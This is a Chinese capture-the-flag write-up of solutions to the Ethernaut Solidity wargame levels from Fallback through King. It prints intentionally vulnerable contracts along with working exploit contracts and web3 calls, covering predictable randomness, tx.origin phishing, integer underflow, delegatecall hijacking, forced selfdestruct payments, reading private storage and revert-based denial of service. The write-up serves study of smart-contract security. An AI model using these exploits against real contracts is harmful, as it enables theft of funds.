ethernaut

打靶场的记录

Hello Ethernaut

连接小狐狸后按照提示做即可

image-20230321104045420

然后提交示例(作者好有意思啊

image-20230321104122333

过关后还能得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {

string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;

// constructor
constructor(string memory _password) {
password = _password;
}

function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}

function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}

function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}

function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}

function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}

function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}

function getCleared() public view returns (bool) {
return cleared;
}
}

Fallback

合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

mapping(address => uint) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

目标:

  • 成为owner
  • 清空合约账户

可以看到在withdraw函数可以直接转走合约地址的余额,但是要首先成为owner;同时,有两个地方可以成为owner:

  1. contribute,但限定了每次传入的数据,要满足条件的话需要执行10^6次

  2. receive,这是一个特殊的函数,当向合约发送数据时会被自动调用。而且条件只需要让传入的数据和数组里的值大于0即可。同时,官方文档是这么描述receive的:

    image-20230405230527117

    那么我们需要执行的操作就是,先调用contribute使得contributions[msg.sender]>0,然后再向合约发送wei,再调用withdraw转走合约余额。

    注意,我们向合约发送的单位是wei,而题中的单位为ether:

    image-20230405230900958

    修改owner:

    image-20230405230830479

可以看到owner已经被修改,然后即可通关。

Fallout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

要求是成为owner。

这关更简单了,直接调用Fal1out就行了。

原来背景是有一家公司改了合约名但是没改构造函数的名字,损失++

Coin Flip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

目标:猜对硬币10次

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.8.0;

interface CoinFlip{
function flip(bool _guess) external returns(bool);
}

contract attack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip interact;

constructor(address _address){
interact = CoinFlip(_address);
}

function guess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool _guess = coinFlip == 1 ? true : false;
interact.flip(_guess);
}
}

交互10次即可。

背景指出在区块链上生成随机数是很难的,建议用Chainlink VRF之类的

Telephone

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

目标是要成为合约的owner,让tx.origin != msg.sender成立。

二者的区别:

  • tx.origin会遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。
  • msg.sender为直接调用智能合约功能的帐户或智能合约的地址

简单的说,只要写一个合约去调用changeOwner函数,那么msg.sender就会是合约地址,而tx.origin仍然是我的账户的地址,就可以满足判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.8.0;

interface Telephone{
function changeOwner(address _owner) external;
}

contract attack{
Telephone tele;
constructor(address _address){
tele = Telephone(_address);
}

function atta() public{
tele.changeOwner(msg.sender);
}

}

做完后题目还给了个攻击案例:

image-20230406112041546

Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

下溢的洞,直接转账就行。

Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

考察的是delegationcall

  • call: 调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境

  • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)

  • callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境

    由于执行环境是调用者(Delegation)的环境,所以pwn()调用后,修改的是Delegation的owner=msg.sender,又因为不会改msg.sender,所以Delegation的owner变成了我们的账户地址。

参数可以本地算:

1
2
3
4
5
6
7
8
pragma solidity ^0.8.0;

contract test{
function func() public view returns (bytes4){
return bytes4(keccak256("pwn()"));
}
}
#0xdd365b8b

也可以在js里算web3.utils.keccak256("pwn()").slice(0, 10)

image-20230406114824062

为什么是slice前十个:

  1. 为什么要写web3.utils.keccak256()?这里面有两个问题,第一,写keccak()必须要加上前面的web3.utils,才能引入keccak()方法。第二,keccak()是一种被选定为SHA-3标准的单向散列函数算法,大概是一个海绵体结构,有吸入和挤出阶段。
  2. 为什么用slice(0,10)?以下补充一些solidity的函数选择器知识。

函数选择器知识补充:

一个函数调用数据的前 4 字节,指定了要调用的函数。 这就是某个函数签名的 Keccak 哈希的前 4 字节(高位在左的大端序)。

(但是传入的数据仍然需要前10个才能被正确解析)

image-20230406115805637

image-20230406115819488

后记: The Parity Wallet Hack Explained介绍了一个攻击案例

Force

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

目标是强行向合约转账,考点为selfdestruct:

selfdestruct函数是一个自毁函数,当调用它时,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数

exp:

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract test{
constructor() payable{
}
function attack(address payable _addr) public{
selfdestruct(_addr);
}
}

后记:

image-20230406171745559

Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

目标是把locked设为false,那么需要得到password

尽管password设为private,但这只是限制外部合约访问这个变量,数据保存在区块链上是透明的,可以直接用getStorageAt函数获取:

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});

image-20230406174556548

把数据放进remix里就能直接解析出来image-20230406174623483

后记:

image-20230406175010825

King

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

目标是发送大于1000000000000000的wei成为king,而且不能让目标合约替代自己成为king

考察的是transfer函数:

image-20230406182805634

如果transfer执行失败会进行回退,而call和send函数则不是,而是返回一个false

用 remix 部署合约,只需要构造一个没有 payable 的回退函数或者压根没有fallback函数,就接收不到金额了

exp:

1
2
3
4
5
6
7
8
9
pragma solidity ^0.4.18;
contract attack{
function attack(address _addr) public payable{
_addr.call.gas(10000000).value(msg.value)();
}
function () public {
revert();
}
}

image-20230406183005656

后记:

Most of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.

In this case, see: King of the Ether and King of the Ether Postmortem.

Re-entrancy